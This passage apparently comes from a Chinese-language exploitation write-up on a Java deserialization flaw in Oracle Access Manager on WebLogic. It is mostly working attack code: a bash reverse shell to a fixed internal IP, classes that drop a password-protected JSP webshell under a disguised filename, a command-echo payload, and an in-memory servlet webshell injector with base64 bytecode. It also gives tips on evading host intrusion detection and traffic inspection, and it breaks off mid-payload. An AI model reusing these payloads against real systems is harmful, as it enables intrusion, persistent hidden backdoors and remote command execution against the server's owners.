        final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        final ObjectOutputStream objectOutputStream;
        try {
            objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(item);
            objectOutputStream.close();
            return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        } catch (IOException e) {
            throw new Error(e);
        }
    }
}

rev.java:反弹shell

优缺点

优点:

  1. 可以获得一个shell。视觉冲击强,互操作性强。
  2. 成功率高。由恶意类代码简单,只要反序列化成功了就能执行到恶意代码,不存在像内存马那样需要复杂的、版本相关的获取各种对象的过程,不确定因素较少。

缺点:

  1. 多数情况下只能反弹到内网。必须在服务端网络可达的地方接收shell,大多数情况下这意味着攻击者的网络位置需要在内网。
  2. 持久化效果一般。一个请求只能获得一个shell,反弹的shell还容易超时,一直保持的网络连接也容易引起运维人员的警觉。

最终效果

image-20220701120445251

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
package pers.neo;
import java.io.*;

public class rev{
//    ref: https://www.jianshu.com/p/ae3922db1f70
    public rev(){
			String[] cmdarray=new String[]{"bash","-c","bash -i >& /dev/tcp/172.18.0.1/2345 0>&1"}; 
        try {
            Runtime.getRuntime().exec(cmdarray);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

wjsp.java:遍历目录写jsp木马

探索过程

访问本地OAM的主页发现有一处静态文件 http://192.168.175.139:14100/oam/pages/css/login_page.css ,如果我们能在 /page/css/ 路径下放一个jsp文件,那么就能得到一个webshell。

在OAM容器中寻找login_page.css发现有两处(正常情况下应该只有一处,因为这里我重启过容器,所以有多处):

image-20220708101015991

可以看到其路径是 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam_server/xrd2uw/war/pages/css/login_page.css ,其中存在随机字符串 xrd2uwhukic2

尝试往目录中写入jsp文件,可以成功执行。

(有些奇怪的是,直接在磁盘上面创建的CSS文件可以被访问,直接在磁盘上面创建的JSP文件却不能被解析和访问,只有通过反序列化写进去的jsp文件才能够被解析和执行,这一度导致我认为往这个目录写jsp行不通。)

(只有第一次写能生效,重写jsp文件内容的话,因为已经编译成class了,所以修改的内容不会生效。)

image-20220701095527585

image-20220701095536512

那么问题的难点就变成了如何通过Java代码找到css所在的目录,因为我们不知道目标主机的部署路径中的随机字符串。

这时很自然地会问一个问题,当我执行反序列化的时候,我所在工作目录是什么呢,是否可以通过相对路径去写jsp?

通过以下方式获取命令执行的结果,查看执行反序列化时所在的工作目录。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package pers.neo;
import java.io.*;

public class sayhi{
    public sayhi(){
        String cmd="pwd";
        String result="/tmp/cve/result.txt";
        try {
            PrintWriter out = new PrintWriter(result);
            out.println(execCmd(cmd));
            out.close();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
    public static String execCmd(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";
    }
}

结果:

image-20220708102316106

至此可以确认工作目录是 /u01/oracle/user_projects/domains/access_domain 。那么只要反序列化时在当前目录下面遍历搜索找到 login_page.css 文件,并在同目录下写入neo.jsp文件就可以通过 http://192.168.175.139:14100/oam/pages/css/neo.jsp 解析并执行了。

遍历搜索的方式总归不够优雅,如果出现像我本地实例上那样存在多个部署目录的情况就可能写下多余的文件,我们通过黑盒也不会知道自己的代码究竟在哪些地方写下的文件。

于是继续探索,是否有什么方式可能通过配置文件或者从当前JVM中获取静态文件所在目录呢?随后发现 System.getProperties() 可以得到很多属性,其中是否有我们关心的目录呢?

经过一番观察,发现通过 oracle.deployed.app.dir 可以得到部署目录:

1
oracle.deployed.app.dir=/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user

image-20220701113816075

前进了一步,要搜索的文件夹从 /u01/oracle/user_projects/domains/access_domain 变成了 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user

距离完整路径 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam_server/xrd2uw/war/pages/css/login_page.css 还差 oam_server/xrd2uw/ 这一段是未知的。

但至此已经可以勉强实现一种方案了。

优缺点

优点

  1. 只需要触发一次漏洞便可得到持久的webshell,动作较小。
  2. 重启机器webshell仍然存在。

缺点:

  1. 有文件落地,可能引起HIDS告警。

最终效果

image-20220701120623736

image-20220708111608658

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package pers.neo;
import java.io.*;
public class wjsp implements Serializable {
    public wjsp(){
//        String deploydir="/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user";
//        String deploydir="/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam_server/xrd2uw/war/pages/css";
        String deploydir=System.getProperty("oracle.deployed.app.dir");
        loop(new File(deploydir));
    }
    public void loop(File dir){
        for(File file:dir.listFiles()){
            if(file.isFile()){
                if(file.getAbsolutePath().endsWith("login_page.css")){w(file);}
            }else if(file.isDirectory()){
               loop(file.getAbsoluteFile());
            }
        }
    }
    public void w(File file){
        File fjsp=new File(file.getParent(),"clickjackingScriptbakup_9ik97.jsp");
        PrintWriter writer = null;
        try {
            writer = new PrintWriter(fjsp.getAbsoluteFile(), "UTF-8");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
//        String jsp="<% if(\"p4ssw0rd!\".equals(request.getParameter(\"pwd\"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>";
        //betterjsp
        String jsp="<% if(\"p4ssw0rd!\".equals(request.getHeader(\"x-forwarded-fur\"))){ java.io.InputStream in = Runtime.getRuntime().exec(new String[]{\"bash\",\"-c\",request.getHeader(\"x-forwarded-far\")}).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>";
        writer.println(jsp);
        writer.close();
    }
}

wjspx.java:遍历目录卸载jsp木马

注意点

可以模拟wjsp.java的做法删除磁盘上的文件,但需要注意:

  1. 如果在删除文件前访问过webshell,jsp文件就已经转成class,路由也添加了。那么在删除文件只是从磁盘上面删除jsp而已,后门还是可以访问的。
  2. 重新上传同名但是内容不同的jsp文件,并不会再编译一次去覆盖已有的class,也就是说无法更新webshell的功能或者密码。

最终效果

image-20220701160151632

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
package pers.neo;
import java.io.*;
public class wjspx {
    public wjspx(){
        String deploydir=System.getProperty("oracle.deployed.app.dir");
        loop(new File(deploydir));
    }
    public void loop(File dir){
        for(File file:dir.listFiles()){
            if(file.isFile()){
                if(file.getAbsolutePath().endsWith("/war/pages/css/hineo2.jsp")){file.delete();}
            }else if(file.isDirectory()){
                loop(file.getAbsoluteFile());
            }
        }
    }
}

wjsp2.java:精准定位临时目录写jsp木马

探索过程

在探索实现 wjsp.java 时我们提到,还有 oam_server/xrd2uw/ 这一段路径是未知的。

在学习编写内存马的过程中我发现通过当前请求的上下文可以得到这一段路径。那么拼接起来就可以得到完整的css路径,精准写入目标文件夹了。

image-20220701152336737

image-20220701152411195

可以通过 getTempPath() 精准定位到临时目录的位置是 oam_server/xrd2uw

加上System.getProperty("oracle.deployed.app.dir") 获取到的 "/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user"

拼接起来,就能精准得到路径 "/u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam_server/xrd2uw/war/pages/css"

非常完美,避免了wjsp.java里面那种不优雅的到处写jsp的方法。

优缺点

优点

  1. 可以精准往想要的未知写入jsp文件,避免了因为部署差异导致失败

缺点

  1. 存在环境不确定性,可能因为不同版本代码写法不同导致获取不到request对象

最终效果

image-20220701155401195

image-20220701155347316

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package pers.neo;

import weblogic.servlet.internal.HttpConnectionHandler;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.work.ExecuteThread;

import java.io.*;

public class wjsp2{
    public wjsp2(){
        String deploydir=System.getProperty("oracle.deployed.app.dir");

        java.lang.reflect.Field field = null;
        HttpConnectionHandler httpConn = null;
        try {
            ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
            field = gcw.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            httpConn = (HttpConnectionHandler) field.get(gcw);
            String temppath = httpConn.getServletRequest().getContext().getTempPath().toString();
            File csspath=new File(new File(deploydir,temppath),"war/pages/css/login_page.css");
            w(csspath);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

    }
    public void w(File file){
        File fjsp=new File(file.getParent(),"hineo4.jsp");
        PrintWriter writer = null;
        try {
            writer = new PrintWriter(fjsp.getAbsoluteFile(), "UTF-8");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        String jsp="<% if(\"p4ssw0rd!\".equals(request.getHeader(\"x-forwarded-fur\"))){ java.io.InputStream in = Runtime.getRuntime().exec(new String[]{\"bash\",\"-c\",request.getHeader(\"x-forwarded-far\")}).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(\"<pre>\"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(\"</pre>\"); } %>";
        writer.println(jsp);
        writer.close();
    }
}

wjsp2x.java:精准定位临时目录卸载jsp木马

注意点

可以模拟wjsp2.java的做法删除磁盘上的文件,但需要注意:

  1. 如果在删除文件前访问过webshell,jsp文件就已经转成class,路由也添加了。那么在删除文件只是从磁盘上面删除jsp而已,后门还是可以访问的。
  2. 重新上传同名但是内容不同的jsp文件,并不会再编译一次去覆盖已有的class,也就是说无法更新webshell的功能或者密码。

最终效果

image-20220701160636961

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package pers.neo;

import weblogic.servlet.internal.HttpConnectionHandler;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.work.ExecuteThread;

import java.io.*;

public class wjspx2{
    public wjspx2(){
        String deploydir=System.getProperty("oracle.deployed.app.dir");

        java.lang.reflect.Field field = null;
        HttpConnectionHandler httpConn = null;
        try {
            ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
            field = gcw.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            httpConn = (HttpConnectionHandler) field.get(gcw);
            String temppath = httpConn.getServletRequest().getContext().getTempPath().toString();
//            File jsppath=new File(new File(deploydir,temppath),"/war/pages/css/clickjackingScriptbakup_9ik97.jsp");
            File jsppath=new File(new File(deploydir,temppath),"/war/pages/css/hineo.jsp");
            jsppath.delete();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

serv.java:通过servlet回显命令执行的结果

探索过程

尝试通过当前线程获取到request对象,向其中写内容来显示命令执行的结果,也正是在这个过程中想到了wjsp2.java的解法。

尝试直接获取connectionHandler时提示私有属性无法直接获取

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
package pers.neo;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.work.ExecuteThread;

import java.io.ByteArrayInputStream;

public class mems {
    public mems(){
((ContainerSupportProviderImpl.WlsRequestExecutor)((ExecuteThread) Thread.currentThread()).getCurrentWork()).connectionHandler.getServletRequest().getResponse().getServletOutputStream().writeStream(new ByteArrayInputStream("hacked!!!".getBytes()));
    }
}

image-20220701143006110

会报错

1
java: connectionHandler has private access in weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor

于是尝试通过反射来调用私有变量,成功获取到request对象。

参考:

https://xz.aliyun.com/t/7740#toc-4

https://paper.seebug.org/1442/#1-cve-2020-14644

优缺点

优点

  1. 没有文件落地
  2. 系统无残留,不需要卸载过程

缺点

  1. 每次执行命令都要触发一次反序列化,动静大,不优雅
  2. 存在环境不确定性,可能因为不同版本代码写法不同导致获取不到request对象

最终效果

image-20220701150247898

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package pers.neo;

import weblogic.servlet.internal.HttpConnectionHandler;
import weblogic.servlet.internal.ServletOutputStreamImpl;
import weblogic.servlet.internal.ServletResponseImpl;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.work.ExecuteThread;
public class serv {
    public serv(){
        java.lang.reflect.Field field = null;
        HttpConnectionHandler httpConn = null;
        ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
        try {
            field = gcw.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            httpConn = (HttpConnectionHandler) field.get(gcw);
            ServletResponseImpl resp = httpConn.getServletRequest().getResponse();
            String ncmd=httpConn.getServletRequest().getHeader("x-forwarded-far");
            resp.getWriter().write(ncmd+"\n===========\n");
            String[] cmdarray=new String[]{"bash","-c",ncmd};
            ServletOutputStreamImpl sos = resp.getServletOutputStream();
            sos.writeStream(Runtime.getRuntime().exec(cmdarray).getInputStream());
            sos.flush();
            resp.getWriter().write("\n===========\n");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

memsi.java:安装内存马

探索过程

这里尝试使用servlet内存马,本质上是先获取到servlet mapping,自定义一个扩展了 javax.servlet.http.HttpServlet 的类,然后往mapping中添加自己定义的路由和处理这个路由的对象。这整个过程都要通过反序列化的操作来实现。

获取servlet mapping

首先在合适的地方(比如 com.tangosol.internal.util.invoke.RemotableSupport#realize)下断点,尝试获取servlet mapping

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
java.lang.reflect.Field field = null;
HttpConnectionHandler httpConn = null;
ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
field = gcw.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
httpConn = (HttpConnectionHandler) field.get(gcw);
// 获取servletContext
WebAppServletContext servletContext = httpConn.getServletRequest().getContext();
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);

成功获取到

image-20220701173057613

注册servlet

为了方便,使用JVM中已加载了的 oracle.security.am.pbl.transport.http.AMServlet 暂时替代自定义的servlet,尝试注册servlet。成功完成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
String URI = "/pages/css/bluecameby";
Field field = null;
HttpConnectionHandler httpConn = null;
ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
field = gcw.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
httpConn = (HttpConnectionHandler) field.get(gcw);
// 获取servletContext
WebAppServletContext servletContext = httpConn.getServletRequest().getContext();
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);


// 使用ServletStub包装HttpServlet
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, Servlet.class, WebAppServletContext.class);
ServletStubImplConstructor.setAccessible(true);

HttpServlet httpServlet=new oracle.security.am.pbl.transport.http.AMServlet();
ServletStubImpl servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, httpServlet, servletContext);

// 使用URLMathchHelper包装ServletStub
Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelperConstructor.setAccessible(true);
Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);

// 添加到ServletMapping中,即代表注入servlet内存马成功
if (mappings.get(URI) == null){
    mappings.put(URI, umh);
}

这里遇到了问题,使用oracle.security.am.pbl.transport.http.AMServlet 作为新注册是servlet的处理类的话,可以成功安装和卸载,但使用自定义内嵌类重写get方法则始终不行,无法成功反序列化。不解。

image-20220708152214644

删除servlet

卸载内存马,成功完成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
String URI = "/pages/css/bluecameby";
Field field = null;
HttpConnectionHandler httpConn = null;
ContainerSupportProviderImpl.WlsRequestExecutor gcw = (ContainerSupportProviderImpl.WlsRequestExecutor) ((ExecuteThread) Thread.currentThread()).getCurrentWork();
field = gcw.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
httpConn = (HttpConnectionHandler) field.get(gcw);
// 获取servletContext
WebAppServletContext servletContext = httpConn.getServletRequest().getContext();
// 获取servletMapping
Method getServletMapping = servletContext.getClass().getDeclaredMethod("getServletMapping");
getServletMapping.setAccessible(true);
ServletMapping mappings = (ServletMapping) getServletMapping.invoke(servletContext);


//卸载内存马
if(mappings.get(URI)!=null){
    mappings.removePattern(URI);
}

使用字节码定义servlet

上面提到直接自定义servlet没有成功,于是尝试使用字节码来加载自定义的servlet。

自定义一个servlet:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package pers.neo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class memsHttpServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String passwd=req.getHeader("x-forwarded-fur");
        if(!"p4ssw0rd!".equals(passwd)){return;}
        String[] cmdarray=new String[]{"bash","-c",req.getHeader("x-forwarded-far")};
        try {
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmdarray).getInputStream()).useDelimiter("\\A");
            resp.getWriter().write(s.hasNext() ? s.next() : "");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return;
    }
}

生成该servlet对应的字节码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
package pers.neo;

import com.tangosol.internal.util.invoke.ClassIdentity;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class memsHttpServletGenByteCode {
    public static void main(String[] args) {
        ClassPool cp = ClassPool.getDefault();
        try {
            CtClass ctClass = cp.get(memsHttpServlet.class.getName());
            String bytecode=Base64.getEncoder().encodeToString(ctClass.toBytecode());
            System.out.println(bytecode);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

使用该字节码生成servlet对象

1
2
3
4
5
String pers_neo_memsHttpServlet_bytecodestr="yv66vgAAADExxxxxxxxx……";
byte[] code= Base64.getDecoder().decode(pers_neo_memsHttpServlet_bytecodestr);
Method defineClass=ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
HttpServlet memsHttpServlet=(HttpServlet)defineClass.invoke(ClassLoader.getSystemClassLoader(),code,0,code.length);

解决duplicate class definition

发现会报错

1
loader (instance of  com/oracle/classloader/weblogic/LaunchClassLoader): attempted  duplicate class definition for name: "pers/neo/memsHttpServlet"

image-20220704164544546

是因为我们之前已经加载过这个类了。不能再使用同一个类名了。

于是通过反射在每次测试时修改自定义servlet的名称,而不是频繁refactor那个类,以此避免重复定义类的问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package pers.neo;

import com.tangosol.internal.util.invoke.ClassIdentity;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class memsHttpServletGenByteCode {
    public static void main(String[] args) {
        ClassPool cp = ClassPool.getDefault();
        try {
            CtClass ctClass = cp.get(memsHttpServlet.class.getName());
            ctClass.replaceClassName(memsHttpServlet.class.getName(), "pers.neo.memsHttpServletb"); //通过反射在每次测试时修改自定义servlet的名称,而不是频繁refactor那个类
            String bytecode=Base64.getEncoder().encodeToString(ctClass.toBytecode());
            System.out.println(bytecode);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

换一个类名之后就报另一个错了 Cannot cast 'java.lang.Class' to 'javax.servlet.http.HttpServlet'

image-20220704164505582

这是我们的写法不对,不能将一个类cast成另一个类,应该先将他实例化,再将对象转化为其他类的的对象。

1
2
3
4
5
6
String pers_neo_memsHttpServlet_bytecodestr="yv66vgAAADExxxxxxxxx……";
byte[] code= Base64.getDecoder().decode(pers_neo_memsHttpServlet_bytecodestr);
Method defineClass=ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class memsHttpServlet=(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),code,0,code.length); //类型转换
HttpServlet httpServlet=(HttpServlet)memsHttpServlet.newInstance(); //类型转换

webshell密码判断的写法出错

一切都很好,就是没有结果。原来是因为我比较密码的写法不对,应该使用 .equals 而不是 == 。前者默认是引用比较,后者对基本类型是值比较,对引用类型是引用比较。

1
2
boolean a= "p4ssw0rd!"==(httpConn.getServletRequest().getHeader("x-forwarded-fur"));
boolean b= "p4ssw0rd!".equals(httpConn.getServletRequest().getHeader("x-forwarded-fur"));

增强兼容,无限重放

至此已经基本完成了,除了一处缺陷,就是自定义的那个字节码的类每次发送payload都要修改类名,每打一次就要换一个名字,重放请求就会因为加载类失败而报500的错误,因为不能尝试加载全限定名完全相同的类。

是否能尝试再执行反序列化之前先搜索内存中是否已经有该版本的类?如果可以的话,就可以反复使用同一个请求来增加和删除内存马而不会在内存中留下很多无用的类。

确实可以,修改代码实现可无限重放安装内存马的请求。可以任意重放而不报错,也便于再卸载内存马之后重新安装。

1
2
3
4
5
6
7
try{
    //in case we may want to replay memsi request 我们会想要重放同一个安装内存马的请求,使用这个try catch可以增强兼容性。
    memsHttpServlet=(Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),code,0,code.length);
}catch (InvocationTargetException e){
    memsHttpServlet=Class.forName("pers.neo.memsHttpServletb");
}
HttpServlet httpServlet=(HttpServlet)memsHttpServlet.newInstance();

至此基本完美。

优缺点

优点:

  1. 实现任意安装,卸载,稳定而隐秘的命令执行和回显。

缺点:

  1. 最开始觉得是完美的,除了重启JVM会失去shell。
  2. 实战告诉我需要还增加流量加密功能,直接将命令暴露在HTTP请求中很容易被检测到。

最终效果

image-20220704174122975

自定义的httpservlet:memsHttpServlet.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
package pers.neo;

import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class memsHttpServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
        String passwd=req.getHeader("x-forwarded-fur");
        if(!"p4ssw0rd!".equals(passwd)){return;}
        String[] cmdarray=new String[]{"bash","-c",req.getHeader("x-forwarded-far")};
        try {
            java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmdarray).getInputStream()).useDelimiter("\\A");
            resp.getWriter().write(s.hasNext() ? s.next() : "");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
        return;
    }
}

为httpservlet生成字节码:memsHttpServletGenByteCode.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
package pers.neo;

import com.tangosol.internal.util.invoke.ClassIdentity;
import javassist.ClassPool;
import javassist.CtClass;
import java.util.Base64;

public class memsHttpServletGenByteCode {
    public static void main(String[] args) {
        ClassPool cp = ClassPool.getDefault();
        try {
            CtClass ctClass = cp.get(memsHttpServlet.class.getName());
            ctClass.replaceClassName(memsHttpServlet.class.getName(), "pers.neo.memsHttpServletb");
            String bytecode=Base64.getEncoder().encodeToString(ctClass.toBytecode());
            System.out.println(bytecode);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }
}

完整反序列化,安装内存马:memsi.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package pers.neo;

import weblogic.servlet.internal.*;
import weblogic.servlet.provider.ContainerSupportProviderImpl;
import weblogic.servlet.utils.ServletMapping;
import weblogic.work.ExecuteThread;
import javax.servlet.Servlet;
import javax.servlet.http.HttpServlet;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;



public class memsi {
    public memsi(){
        String URI = "/pages/css/bluecameby";
        java.lang.reflect.Field field = null;
        HttpConnectionHandler httpConn = null;
        Class memsHttpServlet=null;
        try {
            String pers_neo_memsHttpServlet_bytecodestr="yv66vgAAADEAbgoAGgAyCAAzCwA0ADUIADYKAAYANwcAOAgAOQgAOggAOwcAPAoAPQA+CgA9AD8KAEAAQQoACgBCCABDCgAKAEQLAEUARgoACgBHCgAKAEgIAEkKAEoASwcATAcATQoAFwBOBwBsBwBQAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABpMcGVycy9uZW8vbWVtc0h0dHBTZXJ2bGV0OwEABWRvR2V0AQBSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTspVgEAAXMBABNMamF2YS91dGlsL1NjYW5uZXI7AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAA3JlcQEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEABHJlc3ABAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAGcGFzc3dkAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIY21kYXJyYXkBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEAFG1lbXNIdHRwU2VydmxldC5qYXZhDAAbABwBAA94LWZvcndhcmRlZC1mdXIHAFEMAFIAUwEADG5lb3M0eWgzbGwwIQwAVABVAQAQamF2YS9sYW5nL1N0cmluZwEABGJhc2gBAAItYwEAD3gtZm9yd2FyZGVkLWZhcgEAEWphdmEvdXRpbC9TY2FubmVyBwBWDABXAFgMAFkAWgcAWwwAXABdDAAbAF4BAAJcQQwAXwBgBwBhDABiAGMMAGQAZQwAZgBnAQAABwBoDABpAGoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABsAawEAGHBlcnMvbmVvL21lbXNIdHRwU2VydmxldAEAHmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldAEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYBABlwZXJzL25lby9tZW1zSHR0cFNlcnZsZXRiAQAbTHBlcnMvbmVvL21lbXNIdHRwU2VydmxldGI7ACEAGQAaAAAAAAACAAEAGwAcAAEAHQAAAC8AAQABAAAABSq3AAGxAAAAAgAeAAAABgABAAAABwAfAAAADAABAAAABQAgAG0AAAAEACIAIwABAB0AAAEAAAUABgAAAHIrEgK5AAMCAE4SBC22AAWaAASxBr0ABlkDEgdTWQQSCFNZBSsSCbkAAwIAUzoEuwAKWbgACxkEtgAMtgANtwAOEg+2ABA6BSy5ABEBABkFtgASmQALGQW2ABOnAAUSFLYAFacADzoFu